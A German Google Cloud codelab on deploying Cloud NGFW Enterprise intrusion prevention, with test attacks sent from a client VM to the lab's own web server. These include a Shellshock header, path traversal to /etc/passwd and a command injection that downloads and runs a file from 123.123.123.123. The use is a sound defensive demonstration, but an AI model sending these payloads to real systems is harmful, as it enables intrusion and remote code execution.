1. Einführung
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.
Cloud NGFW bietet folgende Vorteile:
- Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
- Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten der Ressourcenhierarchie angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
- Granulare Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.
Cloud NGFW ist in den folgenden Stufen verfügbar:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise fügt dem verteilten Google Cloud-Firewall-Fabric das Intrusion Prevention System (IPS) hinzu, eine Layer 7-Funktion. Die TLS-Prüfung wird unterstützt, um die Prüfung von TLS-verschlüsseltem Traffic zu ermöglichen. Sie fällt jedoch nicht in den Rahmen dieses Codelabs. Weitere Informationen finden Sie im Cloud NGFW Enterprise-Codelab mit TLS-Prüfung.
Sie können jetzt zuverlässige Layer 7-NGFW-Prüfungen (Next Generation Firewall) mit detaillierten Steuerelementen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Ihren Routingkonfigurationen vorzunehmen.
Um die Layer 7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen, müssen Sie die folgenden Aufgaben ausführen:
- Erstellen Sie eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten.
- Optional eine TLS-Prüfungsrichtlinie erstellen (wird in diesem Codelab nicht behandelt)
- Optional: Vertrauenskonfiguration erstellen (wird in diesem Codelab nicht behandelt)
- Ordnen Sie diese Endpunkte den VPC-Netzwerken (Virtual Private Cloud) zu, in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
- Nehmen Sie einfache Änderungen an Ihren vorhandenen Firewallrichtlinien und Firewallregeln vor, um die Profile zur Bedrohungsabwehr für die verschiedenen Traffic-Pfade anzugeben.
Netzwerk-Firewallrichtlinien
Eine Netzwerk-Firewallrichtlinie dient als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden nirgendwo erzwungen, bis die Richtlinie mit einem VPC-Netzwerk verknüpft ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-verwaltete Tags (oder einfach Tags) in Firewallregeln. Diese ersetzen die aktuellen Netzwerktags und können verwendet werden, um Workloads eine Identität zuzuweisen.
Die gemeinsame Nutzung einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Integration mit IAM-verwalteten Tags vereinfachen die Konfiguration und Verwaltung von Firewalls erheblich.
Mit der Einführung von Netzwerk-Firewallrichtlinien bestehen die Firewallrichtlinien von Google Cloud jetzt aus den folgenden Komponenten:
- Hierarchische Firewallrichtlinie
- VPC-Firewallregeln
- Netzwerk-Firewallrichtlinie ( global und regional)
Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten in der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien unter anderem an eine einzelne VPC oder eine Gruppe von VPCs angehängt werden können. Außerdem bieten sie Vorteile wie Batch-Updates.
Schließlich gibt es auch die implizierten Firewallregeln, die in jedem VPC-Netzwerk enthalten sind:
- Eine Regel für ausgehenden Traffic, deren Aktion „allow“ und deren Ziel „0.0.0.0/0“ ist.
- Eine Regel für eingehenden Traffic mit der Aktion „deny“ und der Quelle „0.0.0.0/0“
Standardmäßig wird die Durchsetzungssequenz im folgenden Diagramm dargestellt:

Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann getauscht werden. Kunden können die Reihenfolge der Erzwingung jederzeit mit einem gcloud-Befehl angeben.
Von IAM verwaltete Tags
Die neuen in Netzwerk-Firewallrichtlinienregeln integrierten Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf der Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält, wie der Name schon sagt, eine IAM-Zugriffssteuerung, die angibt, wer was mit dem Tag tun kann. Mit IAM-Berechtigungen können Sie zum Beispiel angeben, welche Hauptkonten den Tags Werte zuweisen können und welche Hauptkonten Tags an Ressourcen anhängen können. Nachdem ein Tag auf eine Ressource angewendet wurde, können Netzwerk-Firewallregeln es verwenden, um Traffic zuzulassen oder abzulehnen.
Tags entsprechen dem Übernahmeressourcenmodell von Google Cloud. Das bedeutet, dass Tags und ihre Werte in der Hierarchie von oben nach unten übergeben werden. Daher können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Auf dieser Seite finden Sie weitere Informationen zu Tags und Zugriffsbeschränkungen.
Tags sollten nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die zu Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen betrachtet werden, unterliegen sie nicht der IAM-Zugriffssteuerung.
Hinweis: In diesem Dokument werden „Tags“ und „IAM-gesteuerte Tags“ austauschbar verwendet.
Umfang
Für dieses Codelab ist ein einzelnes Projekt erforderlich, in dem ein VPC-Netzwerk mit öffentlicher Verbindung erstellt werden kann. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann:
- Intra-VPC-/Subnetz-Flüsse prüfen [Ost-West]
- Eingehende Datenflüsse aus dem Internet prüfen [Nord-Süd]
Die zu untersuchenden Flüsse werden anhand von Cloud Firewall-Abgleichsparametern ausgewählt, darunter 5-Tupel (Quell-IP-Adresse, Ziel-IP-Adresse, Protokoll, Quellport, Zielport) und Tags. Die TLS-Prüfung ist in diesem Codelab nicht enthalten.

Die Regelbasis für Netzwerk-Firewallrichtlinien sieht in etwa so aus:
Priorität | Richtung | Target | Quelle | Ziel | Aktion | Typ |
100 | Ausgehender Traffic | Quarantine_Tag | Alle | Alle | Ablehnen | Essentials |
1000 | Eingehender Traffic | Server_Tag | Bereiche der Systemdiagnose | Alle | Zulassen | Essentials |
2000 | Eingehender Traffic | Alle | Identity-Aware Proxy-Bereiche | Alle | Zulassen | Essentials |
3000 | Eingehender Traffic | Alle | Geo, GCTI | Alle | Ablehnen | Standard |
4000 | Ausgehender Traffic | Alle | Alle | Geo, GCTI | Ablehnen | Standard |
5000 | Ausgehender Traffic | Alle | Alle | FQDNs für Systemupdates | Zulassen | Standard |
6000 | Eingehender Traffic | Server_Tag | 10.0.0.0/24 | Alle | IPS | Unternehmen |
7000 | Eingehender Traffic | Server_Tag | CloudNAT_IP | Alle | IPS | Unternehmen |
Lerninhalte
- Globale Netzwerk-Firewallrichtlinie erstellen
- Tags mit Netzwerk-Firewallrichtlinien erstellen und verwenden
- Konfiguration und Verwendung des Dienstes zur Einbruchsprävention von Cloud NGFW Enterprise
Voraussetzungen
- Google Cloud-Projekt
- Kenntnisse in der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten
- Kenntnisse der VPC-Firewallkonfiguration
2. Hinweis
Variablen erstellen/aktualisieren
In diesem Codelab werden $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu erleichtern.
Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf. Überspringen Sie das Festlegen des Projekts, wenn das gewünschte Projekt bereits festgelegt ist. Für Ressourcen auf Organisationsebene wird eine andere Variable verwendet, wenn mehrere Firewall-Endpunkte erforderlich sind.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. APIs aktivieren
Aktivieren Sie die APIs, falls Sie dies noch nicht getan haben:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise-Sicherheitsprofil und Endpunkt erstellen
Da die Erstellung des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Grundeinrichtung kann parallel erfolgen.
Sicherheitsprofil und Sicherheitsprofilgruppe erstellen:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Erwartete Ausgabe:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Erwartete Ausgabe:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW Enterprise-Endpunkt erstellen:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Die Erstellung des Endpunkts dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundeinrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.
5. Grundeinrichtung
Fahren Sie mit den folgenden Abschnitten fort, wenn Sie die Basisressourcen lieber manuell erstellen möchten.
VPC-Netzwerk und ‑Subnetz
VPC-Netzwerk und Subnetz
VPC-Netzwerk und Subnetz erstellen:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Erstellen Sie die Cloud Router und Cloud NAT-Gateways:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
Erstellen Sie die Client- und Webserverinstanzen:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
Tags auf Projektebene
Weisen Sie dem Nutzer bei Bedarf die Berechtigungen „tagAdmin“ und/oder „tagUser“ zu:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Erstellen Sie den Tag-Schlüssel und die Werte auf Projektebene:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Tags an Instanzen binden:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Globale Netzwerk-Firewallrichtlinie
Globale Netzwerk-Firewallrichtlinie erstellen:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Erstellen Sie Cloud Firewall Essential-Regeln, um Traffic von unter Quarantäne gestellten Instanzen abzulehnen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet) und Traffic von den Bereichen health-check und identity-aware proxy zuzulassen:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Erstellen Sie Cloud Firewall Standard-Regeln, um eingehenden und ausgehenden Traffic von/zu Ländern mit Embargo, bekannten schädlichen IP-Adressen und ToR-Exit-Knoten zu blockieren und nur ausgehenden Traffic zu bestimmten FQDNs für Systemupdates zuzulassen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Erstellen Sie Cloud Firewall-Regeln, um eingehenden East-West-Traffic (intra-subnet) und North-South-Traffic (Internet) aus den angegebenen Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise zu aktivieren:
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Verknüpfen Sie die Netzwerk-Firewallrichtlinie mit dem VPC-Netzwerk:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
Externer TCP/UDP-Netzwerk-Load-Balancer
Reservieren Sie eine externe IP-Adresse und erstellen Sie die Instanzgruppe und die Systemdiagnose:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
Erstellen Sie einen Backend-Dienst und eine Weiterleitungsregel:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise-Endpunktverknüpfung
Definieren Sie die Umgebungsvariablen bei Bedarf neu.
Prüfen Sie, ob die Erstellung des Cloud Firewall-Endpunkts erfolgreich abgeschlossen wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird. Während der Erstellung ist der erwartete Status CREATING:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Verknüpfen Sie den Cloud NGFW Enterprise-Endpunkt mit dem VPC-Netzwerk:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird. Während des Erstellungsprozesses ist der erwartete Status CREATING:
gcloud network-security firewall-endpoint-associations list
Erwartete Ausgabe:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Erwartete Ausgabe:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise-Prüfregeln
Öffnen Sie einen neuen Tab und stellen Sie über IAP eine SSH-Verbindung zur Client-VM her. Sie müssen die Variablen auf dem neuen Tab noch einmal definieren:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Definieren Sie die erforderlichen Variablen in der SSH-Sitzung und legen Sie die Variablen fest. Achten Sie darauf, dass die Werte korrekt sind:
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Führen Sie für beide IPs den folgenden curl-Befehl aus, um zu prüfen, ob sie erreichbar sind:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Erwartetes Ergebnis für beide curl-Anfragen:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Senden Sie Beispielangriffe an die interne Server-IP-Adresse (Ost-West-Traffic / Intra-VPC-Traffic). Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention erfolgt:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe über Cloud NAT (Nord-Süd-Eingangstraffic) noch einmal an die externe Server-IP und der Webserver sollte auf alle Anfragen antworten:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Erwartete Ergebnisse für öffentliche und private IP-Adressen:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Wechseln Sie zurück zu Cloud Shell und aktualisieren Sie die vorhandenen Ingress-Regeln, um die L7-Prüfung zu aktivieren:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Beschreiben Sie optional die Firewallregeln, um zu prüfen, ob beide erfolgreich aktualisiert wurden:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Erwartete Ausgabe:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regel 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Erwartete Ausgabe:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
Wechseln Sie zurück zur Client-VM und senden Sie die Beispielangriffe noch einmal an die interne Server-IP-Adresse (East-West-/Intra-VPC-Prüfung):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe noch einmal über Cloud NAT an die externe Server-IP-Adresse (North-South-Eingangsüberprüfung):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Für die ersten Angriffe werden keine Antworten empfangen, wie in der erwarteten Ausgabe unten zu sehen ist. Das bestätigt, dass die Angriffe mit hohem Schweregrad jetzt blockiert werden.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Rufen Sie in der Cloud Console „Netzwerksicherheit“ > „Bedrohungen“ auf, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite einige Male aktualisieren, wenn die Angriffe noch nicht angezeigt werden.

Wählen Sie einen der Angriffe aus und klicken Sie rechts auf „Prüfprotokoll ansehen“ (in einem neuen Tab öffnen, um einfach zurückwechseln zu können). Maximieren Sie den Angriff, um die Details aufzurufen:

Optional können Sie den Log-Explorer-Filter durch die folgende Abfrage ersetzen:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Bedrohungslogeinträge sollten wie unten dargestellt angezeigt werden:

Mit dem folgenden Log-Explorer-Filter können Sie prüfen, ob Cloud Firewall Pakete abgefangen hat (hilfreich zur Fehlerbehebung):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

Fahren Sie mit der Überprüfung des Internet-Traffics (optional) fort oder schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Kapitel fort, um die Bereinigungsschritte auszuführen.
[Optional] Internet-Traffic-Prüfung
Wie im vorherigen Abschnitt überprüft, sind die bisher untersuchten Flows Intra-Subnetz-/VPC-Traffic (Ost-West) und eingehender Traffic aus dem Internet (Nord-Süd-Eingang). Cloud NGFW Enterprise kann auch so konfiguriert werden, dass der gesamte Internettraffic (North-South-Ausgang) geprüft wird. Dazu erstellen Sie mit Cloud Shell eine neue Ausgangsregel:
